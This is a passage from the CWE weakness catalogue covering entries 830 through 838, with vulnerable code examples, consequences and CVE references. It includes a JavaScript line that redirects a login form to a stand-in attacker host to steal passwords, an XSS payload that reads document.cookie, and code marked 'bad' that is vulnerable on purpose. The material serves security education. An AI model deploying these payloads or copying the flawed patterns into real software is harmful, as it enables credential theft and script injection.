252	PHP Local File Inclusion
253	Remote Code Inclusion
263	Force Use of Corrupted Files

CAPEC-ID	Attack Pattern Name
549	Local Execution of Code

References

[REF-45]OWASP. "OWASP Enterprise Security API (ESAPI) Project". < http://www.owasp.org/index.php/ESAPI >.

[REF-76]Sean Barnum and Michael Gegick. "Least Privilege". 2005 September 4. < https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html >.

CWE-830: Inclusion of Web Functionality from an Untrusted Source

Weakness ID : 830 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software includes web functionality (such as a web widget) from another domain, which causes it to operate within the domain of the software, potentially granting total access and control of the software to the untrusted source.

Extended Description

Including third party functionality in a web-based environment is risky, especially if the source of the functionality is untrusted.

Even if the third party is a trusted source, the software may still be exposed to attacks and malicious behavior if that trusted source is compromised, or if the code is modified in transmission from the third party to the software.

This weakness is common in "mashup" development on the web, which may include source functionality from other domains. For example, Javascript-based web widgets may be inserted by using '<SCRIPT SRC="http://other.domain.here">' tags, which causes the code to run in the domain of the software, not the remote site from which the widget was loaded. As a result, the included code has access to the local DOM, including cookies and other data that the developer might not want the remote site to be able to access.

Such dependencies may be desirable, or even required, but sometimes programmers are not aware that a dependency exists.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	829	Inclusion of Functionality from Untrusted Control Sphere	1532

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1016	Limit Exposure	1971

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

Demonstrative Examples

Example 1:

This login webpage includes a weather widget from an external website:

Example Language: HTML *(bad)*

```
<div class="header"> Welcome!
    <div id="loginBox">Please Login:
        <form id ="loginForm" name="loginForm" action="login.php" method="post">
        Username: <input type="text" name="username" />
        <br/>
        Password: <input type="password" name="password" />
        <input type="submit" value="Login" />
        </form>
    </div>
    <div id="WeatherWidget">
        <script type="text/javascript" src="externalDomain.example.com/weatherwidget.js"></script>
    </div>
</div>
```

This webpage is now only as secure as the external domain it is including functionality from. If an attacker compromised the external domain and could add malicious scripts to the weatherwidget.js file, the attacker would have complete control, as seen in any XSS weakness (CWE-79).

For example, user login information could easily be stolen with a single line added to weatherwidget.js:

Example Language: JavaScript *(attack)*

```
...Weather widget code....
document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php";
```

This line of javascript changes the login form's original action target from the original website to an attack site. As a result, if a user attempts to login their username and password will be sent directly to the attack site.

References

[REF-778]Jeremiah Grossman. "Third-Party Web Widget Security FAQ". < http://jeremiahgrossman.blogspot.com/2010/07/third-party-web-widget-security-faq.html >.

CWE-831: Signal Handler Function Associated with Multiple Signals

Weakness ID : 831 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software defines a function that is used as a handler for more than one signal.

Extended Description

While sometimes intentional and safe, when the same function is used to handle multiple signals, a race condition could occur if the function uses any state outside of its local declaration, such as global variables or non-reentrant functions, or has any side effects.

An attacker could send one signal that invokes the handler function; in many OSes, this will typically prevent the same signal from invoking the handler again, at least until the handler function has completed execution. However, the attacker could then send a different signal that is associated with the same handler function. This could interrupt the original handler function while it is still executing. If there is shared state, then the state could be corrupted. This can lead to a variety of potential consequences depending on context, including denial of service and code execution.

Another rarely-explored possibility arises when the signal handler is only designed to be executed once (if at all). By sending multiple signals, an attacker could invoke the function more than once. This may generate extra, unintended side effects. A race condition might not even be necessary; the attacker could send one signal, wait until it is handled, then send the other signal.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	364	Signal Handler Race Condition	802

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	387	Signal Errors	1861

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart	
Integrity	Execute Unauthorized Code or Commands	
Confidentiality	Read Application Data	
Access Control	Gain Privileges or Assume Identity	
Other	Bypass Protection Mechanism Varies by Context *The most common consequence will be a corruption of the state of the software, possibly leading to a crash or exit. However, if the signal handler is operating on state variables for security relevant libraries or protection mechanisms, the consequences can be far more severe, including protection mechanism bypass, privilege escalation, or information exposure.*	

Demonstrative Examples

Example 1:

This code registers the same signal handler function with two different signals.

Example Language: C *(bad)*

```
void handler (int sigNum) {
    ...
}
int main (int argc, char* argv[]) {
    signal(SIGUSR1, handler)
    signal(SIGUSR2, handler)
}
```

Example 2:

This code registers the same signal handler function with two different signals (CWE-831). If those signals are sent to the process, the handler creates a log message (specified in the first argument to the program) and exits.

Example Language: C *(bad)*

```
char *logMessage;
void handler (int sigNum) {
    syslog(LOG_NOTICE, "%s\n", logMessage);
    free(logMessage);
    /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
    sleep(10);
    exit(0);
}
int main (int argc, char* argv[]) {
    logMessage = strdup(argv[1]);
    /* Register signal handlers. */
    signal(SIGHUP, handler);
    signal(SIGTERM, handler);
    /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
    sleep(10);
}
```

The handler function uses global state (globalVar and logMessage), and it can be called by both the SIGHUP and SIGTERM signals. An attack scenario might follow these lines:

- The program begins execution, initializes logMessage, and registers the signal handlers for SIGHUP and SIGTERM.
- The program begins its "normal" functionality, which is simplified as sleep(), but could be any functionality that consumes some time.
- The attacker sends SIGHUP, which invokes handler (call this "SIGHUP-handler").
- SIGHUP-handler begins to execute, calling syslog().
- syslog() calls malloc(), which is non-reentrant. malloc() begins to modify metadata to manage the heap.
- The attacker then sends SIGTERM.
- SIGHUP-handler is interrupted, but syslog's malloc call is still executing and has not finished modifying its metadata.
- The SIGTERM handler is invoked.
- SIGTERM-handler records the log message using syslog(), then frees the logMessage variable.

At this point, the state of the heap is uncertain, because malloc is still modifying the metadata for the heap; the metadata might be in an inconsistent state. The SIGTERM-handler call to free() is assuming that the metadata is inconsistent, possibly causing it to write data to the wrong location while managing the heap. The result is memory corruption, which could lead to a crash or even code execution, depending on the circumstances under which the code is running.

Note that this is an adaptation of a classic example as originally presented by Michal Zalewski [REF-360]; the original example was shown to be exploitable for code execution.

Also note that the strdup(argv[1]) call contains a potential buffer over-read (CWE-126) if the program is called without any arguments, because argc would be 0, and argv[1] would point outside the bounds of the array.

References

[REF-360]Michal Zalewski. "Delivering Signals for Fun and Profit". < http://lcamtuf.coredump.cx/signals.txt >.

[REF-361]"Race Condition: Signal Handling". < http://www.fortify.com/vulncat/en/vulncat/cpp/race_condition_signal_handling.html >.

CWE-832: Unlock of a Resource that is not Locked

Weakness ID : 832 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software attempts to unlock a resource that is not locked.

Extended Description

Depending on the locking functionality, an unlock of a non-locked resource might cause memory corruption or other modification to the resource (or its associated metadata that is used for tracking locks).

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		667	Improper Locking	1299

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	411	Resource Locking Problems	1865

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability Other	DoS: Crash, Exit, or Restart Execute Unauthorized Code or Commands Modify Memory Other *Depending on the locking being used, an unlock operation might not have any adverse effects. When effects exist, the most common consequence will be a corruption of the state of the software, possibly leading to a crash or exit; depending on the implementation of the unlocking, memory corruption or code execution could occur.*	

Observed Examples

Reference	Description
CVE-2010-4210	function in OS kernel unlocks a mutex that was not previously locked, causing a panic or overwrite of arbitrary memory. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4210*
CVE-2008-4302	Chain: OS kernel does not properly handle a failure of a function call (CWE-755), leading to an unlock of a resource that was not locked (CWE-832), with resultant crash. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4302*

Reference	Description
CVE-2009-1243	OS kernel performs an unlock in some incorrect circumstances, leading to panic. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1243*

CWE-833: Deadlock

Weakness ID : 833 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software contains multiple threads or executable segments that are waiting for each other to release a necessary lock, resulting in deadlock.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		667	Improper Locking	1299

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	411	Resource Locking Problems	1865

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Other) DoS: Crash, Exit, or Restart *Each thread of execution will "hang" and prevent tasks from completing. In some cases, CPU consumption may occur if a lock check occurs in a tight loop.*	

Observed Examples

Reference	Description
CVE-2009-2857	OS deadlock *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2857*
CVE-2009-1961	OS deadlock involving 3 separate functions *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1961*
CVE-2009-2699	deadlock in library *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2699*
CVE-2009-4272	deadlock triggered by packets that force collisions in a routing table *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4272*
CVE-2002-1850	read/write deadlock between web server and script *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1850*
CVE-2004-0174	web server deadlock involving multiple listening connections *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0174*
CVE-2009-1388	multiple simultaneous calls to the same function trigger deadlock. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1388*

Reference	Description
CVE-2006-5158	chain: other weakness leads to NULL pointer dereference (CWE-476) or deadlock (CWE-833). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5158*
CVE-2006-4342	deadlock when an operation is performed on a resource while it is being removed. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4342*
CVE-2006-2374	Deadlock in device driver triggered by using file handle of a related device. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2374*
CVE-2006-2275	Deadlock when large number of small messages cannot be processed quickly enough. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2275*
CVE-2005-3847	OS kernel has deadlock triggered by a signal during a core dump. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3847*
CVE-2005-3106	Race condition leads to deadlock. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3106*
CVE-2005-2456	Chain: array index error (CWE-129) leads to deadlock (CWE-833) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2456*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	853	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 10 - Locking (LCK)	844	1906

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	LCK08-J		Ensure actively held locks are released on exceptional conditions

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
25	Forced Deadlock

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-783]Robert C. Seacord. "Secure Coding in C and C++". 2006. Addison Wesley.

CWE-834: Excessive Iteration

Weakness ID : 834 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The software performs an iteration or loop without sufficiently limiting the number of times that the loop is executed.

Extended Description

If the iteration can be influenced by an attacker, this weakness could allow attackers to consume excessive resources such as CPU or memory. In many cases, a loop does not need to be infinite in order to cause enough resource consumption to adversely affect the software or its host system; it depends on the amount of resources consumed per iteration.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	691	Insufficient Control Flow Management	1342
ParentOf	B	835	Loop with Unreachable Exit Condition ('Infinite Loop')	1546
CanFollow	B	606	Unchecked Input for Loop Condition	1207

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf	B	835	Loop with Unreachable Exit Condition ('Infinite Loop')	1546

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Amplification DoS: Crash, Exit, or Restart *Excessive looping will cause unexpected consumption of resources, such as CPU cycles or memory. The software's operation may slow down, or cause a long time to respond. If limited resources such as memory are consumed for each iteration, the loop may eventually cause a crash or program exit due to exhaustion of resources, such as an out-of-memory error.*	

Detection Methods

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer Forced Path Execution

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

Effectiveness = SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Context-configured Source Code Weakness Analyzer

Effectiveness = High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2046

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop')

Weakness ID : 835 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The program contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop.

Extended Description

If the loop can be influenced by an attacker, this weakness could allow attackers to consume excessive resources such as CPU or memory.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	834	Excessive Iteration	1544

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	G	834	Excessive Iteration	1544

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	438	Behavioral Problems	1867

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Amplification *An infinite loop will cause unexpected consumption of resources, such as CPU cycles or memory. The software's operation may slow down, or cause a long time to respond.*	

Demonstrative Examples

Example 1:

In the following code the method processMessagesFromServer attempts to establish a connection to a server and read and process messages from the server. The method uses a do/while loop to continue trying to establish the connection to the server when an attempt fails.

Example Language: C *(bad)*

```
int processMessagesFromServer(char *hostaddr, int port) {
    ...
    int servsock;
    int connected;
    struct sockaddr_in servaddr;
    // create socket to connect to server
    servsock = socket( AF_INET, SOCK_STREAM, 0);
    memset( &servaddr, 0, sizeof(servaddr));
    servaddr.sin_family = AF_INET;
    servaddr.sin_port = htons(port);
    servaddr.sin_addr.s_addr = inet_addr(hostaddr);
    do {
        // establish connection to server
        connected = connect(servsock, (struct sockaddr *)&servaddr, sizeof(servaddr));
        // if connected then read and process messages from server
        if (connected > -1) {
            // read and process messages
            ...
        }
    // keep trying to establish connection to the server
    } while (connected < 0);
    // close socket and return success or failure
    ...
}
```

However, this will create an infinite loop if the server does not respond. This infinite loop will consume system resources and can be used to create a denial of service attack. To resolve this a counter should be used to limit the number of attempts to establish a connection to the server, as in the following code.

Example Language: C *(good)*

```
int processMessagesFromServer(char *hostaddr, int port) {
    ...
    // initialize number of attempts counter
    int count = 0;
    do {
        // establish connection to server
        connected = connect(servsock, (struct sockaddr *)&servaddr, sizeof(servaddr));
        // increment counter
        count++;
        // if connected then read and process messages from server
        if (connected > -1) {
            // read and process messages
            ...
        }
    // keep trying to establish connection to the server
```

```
    // up to a maximum number of attempts
    } while (connected < 0 && count < MAX_ATTEMPTS);
    // close socket and return success or failure
    ...
}
```

Example 2:

For this example the method isReorderNeeded as part of a bookstore application that determines if a particular book needs to be reordered based on the current inventory count and the rate at which the book is being sold.

Example Language: Java *(bad)*

```
public boolean isReorderNeeded(String bookISBN, int rateSold) {
    boolean isReorder = false;
    int minimumCount = 10;
    int days = 0;
    // get inventory count for book
    int inventoryCount = inventory.getIventoryCount(bookISBN);
    // find number of days until inventory count reaches minimum
    while (inventoryCount > minimumCount) {
        inventoryCount = inventoryCount - rateSold;
        days++;
    }
    // if number of days within reorder timeframe
    // set reorder return boolean to true
    if (days > 0 && days < 5) {
        isReorder = true;
    }
    return isReorder;
}
```

However, the while loop will become an infinite loop if the rateSold input parameter has a value of zero since the inventoryCount will never fall below the minimumCount. In this case the input parameter should be validated to ensure that a value of zero does not cause an infinite loop,as in the following code.

Example Language: Java *(good)*

```
public boolean isReorderNeeded(String bookISBN, int rateSold) {
    ...
    // validate rateSold variable
    if (rateSold < 1) {
        return isReorder;
    }
    ...
}
```

Observed Examples

Reference	Description
CVE-2011-1027	Chain: off-by-one error leads to infinite loop using invalid hex-encoded characters. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1027*
CVE-2011-1142	Chain: self-referential values in recursive definitions lead to infinite loop. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1142*
CVE-2011-1002	NULL UDP packet is never cleared from a queue, leading to infinite loop. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1002*
CVE-2010-4476	Floating point conversion routine cycles back and forth between two different values. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4476*

Reference	Description
CVE-2010-4645	Floating point conversion routine cycles back and forth between two different values. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4645*
CVE-2010-2534	Chain: improperly clearing a pointer in a linked list leads to infinite loop. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2534*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	1131	CISQ Quality Measures - Security	1128	1981

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCSM	ASCSM-CWE-835		

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < http://www.omg.org/spec/ASCSM/1.0/ >.

CWE-836: Use of Password Hash Instead of Password for Authentication

Weakness ID : 836 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software records password hashes in a data store, receives a hash of a password from a client, and compares the supplied hash to the hash obtained from the data store.

Extended Description

Some authentication mechanisms rely on the client to generate the hash for a password, possibly to reduce load on the server or avoid sending the password across the network. However, when the client is used to generate the hash, an attacker can bypass the authentication by obtaining a copy of the hash, e.g. by using SQL injection to compromise a database of authentication credentials, or by exploiting an information exposure. The attacker could then use a modified client to replay the stolen hash without having knowledge of the original password.

As a result, the server-side comparison against a client-side hash does not provide any more security than the use of passwords without hashing.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	287	Improper Authentication	630
PeerOf	B	602	Client-Side Enforcement of Server-Side Security	1200

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1010	Authenticate Actors	1964

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1211	Authentication Errors	2013

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity *An attacker could bypass the authentication routine without knowing the original password.*	

Observed Examples

Reference	Description
CVE-2009-1283	Product performs authentication with user-supplied password hashes that can be obtained from a separate SQL injection vulnerability (CVE-2009-1282). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1283*
CVE-2005-3435	Product allows attackers to bypass authentication by obtaining the password hash for another user and specifying the hash in the pwd argument. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3435*

CWE-837: Improper Enforcement of a Single, Unique Action

Weakness ID : 837 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software requires that an actor should only be able to perform an action once, or to have only one unique action, but the software does not enforce or improperly enforces this restriction.

Extended Description

In various applications, a user is only expected to perform a certain action once, such as voting, requesting a refund, or making a purchase. When this restriction is not enforced, sometimes this can have security implications. For example, in a voting application, an attacker could attempt to "stuff the ballot box" by voting multiple times. If these votes are counted separately, then the attacker could directly affect who wins the vote. This could have significant business impact depending on the purpose of the software.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		799	Improper Control of Interaction Frequency	1494

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	438	Behavioral Problems	1867
MemberOf	C	840	Business Logic Errors	1900

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	*An attacker might be able to gain advantage over other users by performing the action multiple times, or affect the correctness of the software.*	

Observed Examples

Reference	Description
CVE-2008-0294	Ticket-booking web application allows a user to lock a seat more than once. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0294*
CVE-2005-4051	CMS allows people to rate downloads by voting more than once. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4051*
CVE-2002-216	Polling software allows people to vote more than once by setting a cookie. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-216*
CVE-2003-1433	Chain: lack of validation of a challenge key in a game allows a player to register multiple times and lock other players out of the game. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1433*
CVE-2002-1018	Library feature allows attackers to check out the same e-book multiple times, preventing other users from accessing copies of the e-book. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1018*
CVE-2009-2346	Protocol implementation allows remote attackers to cause a denial of service (call-number exhaustion) by initiating many message exchanges. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2346*

CWE-838: Inappropriate Encoding for Output Context

Weakness ID : 838 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software uses or specifies an encoding when generating output to a downstream component, but the specified encoding is not the same as the encoding that is expected by the downstream component.

Extended Description

This weakness can cause the downstream component to use a decoding method that produces different data than what the software intended to send. When the wrong encoding is used - even if closely related - the downstream component could decode the data incorrectly. This can have security consequences when the provided boundaries between control and data are inadvertently broken, because the resulting data could introduce control characters or special elements that were

not sent by the software. The resulting data could then be used to bypass protection mechanisms such as input validation, and enable injection attacks.

While using output encoding is essential for ensuring that communications between components are accurate, the use of the wrong encoding - even if closely related - could cause the downstream component to misinterpret the output.

For example, HTML entity encoding is used for elements in the HTML body of a web page. However, a programmer might use entity encoding when generating output for that is used within an attribute of an HTML tag, which could contain functional Javascript that is not affected by the HTML encoding.

While web applications have received the most attention for this problem, this weakness could potentially apply to any type of software that uses a communications stream that could support multiple encodings.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	116	Improper Encoding or Escaping of Output	260

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	116	Improper Encoding or Escaping of Output	260

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	137	Data Neutralization Issues	1851

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Modify Application Data Execute Unauthorized Code or Commands *An attacker could modify the structure of the message or data being sent to the downstream component, possibly injecting commands.*	

Potential Mitigations

Phase: Implementation

Strategy = Output Encoding

Use context-aware encoding. That is, understand which encoding is being used by the downstream component, and ensure that this encoding is used. If an encoding can be specified, do so, instead of assuming that the default encoding is the same as the default being assumed by the downstream component.

Phase: Architecture and Design

Strategy = Output Encoding

Where possible, use communications protocols or data formats that provide strict boundaries between control and data. If this is not feasible, ensure that the protocols or formats allow the communicating components to explicitly state which encoding/decoding method is being used. Some template frameworks provide built-in support.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error. Note that some template mechanisms provide built-in support for the appropriate encoding.

Demonstrative Examples

Example 1:

This code dynamically builds an HTML page using POST data:

Example Language: PHP *(bad)*

```
$username = $_POST['username'];
$picSource = $_POST['picsource'];
$picAltText = $_POST['picalttext'];
...
echo "<title>Welcome, " . htmlentities($username) ."</title>";
echo "<img src='". htmlentities($picSource) ." ' alt='". htmlentities($picAltText) . "' />';
...
```

The programmer attempts to avoid XSS exploits (CWE-79) by encoding the POST values so they will not be interpreted as valid HTML. However, the htmlentities() encoding is not appropriate when the data are used as HTML attributes, allowing more attributes to be injected.

For example, an attacker can set picAltText to:

Example Language: *(attack)*

```
"altTextHere' onload='alert(document.cookie)"
```

This will result in the generated HTML image tag:

Example Language: HTML *(result)*

```
<img src='pic.jpg' alt='altTextHere' onload='alert(document.cookie)' />
```

The attacker can inject arbitrary javascript into the tag due to this incorrect encoding.

Observed Examples

Reference	Description
CVE-2009-2814	Server does not properly handle requests that do not contain UTF-8 data; browser assumes UTF-8, allowing XSS. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2814*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	845	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS)	844	1902
MemberOf	C	867	2011 Top 25 - Weaknesses On the Cusp	900	1912
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	1138	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 04. Characters and Strings (STR)	1133	1985

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	IDS13-J		Use compatible encodings on both sides of file or network IO

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
468	Generic Cross-Browser Cross-Domain Theft

References

[REF-786]Jim Manico. "Injection-safe templating languages". 2010 June 0. < http://manicode.blogspot.com/2010/06/injection-safe-templating-languages_30.html >.

[REF-787]Dinis Cruz. "Can we please stop saying that XSS is boring and easy to fix!". 2010 September 5. < http://diniscruz.blogspot.com/2010/09/can-we-please-stop-saying-that-xss-is.html >.

[REF-788]Ivan Ristic. "Canoe: XSS prevention via context-aware output encoding". 2010 September 4. < http://blog.ivanristic.com/2010/09/introducing-canoe-context-aware-output-encoding-for-xss-prevention.html >.

[REF-789]Jim Manico. "What is the Future of Automated XSS Defense Tools?". 2011 March 8. < http://software-security.sans.org/downloads/appsec-2011-files/manico-appsec-future-tools.pdf >.

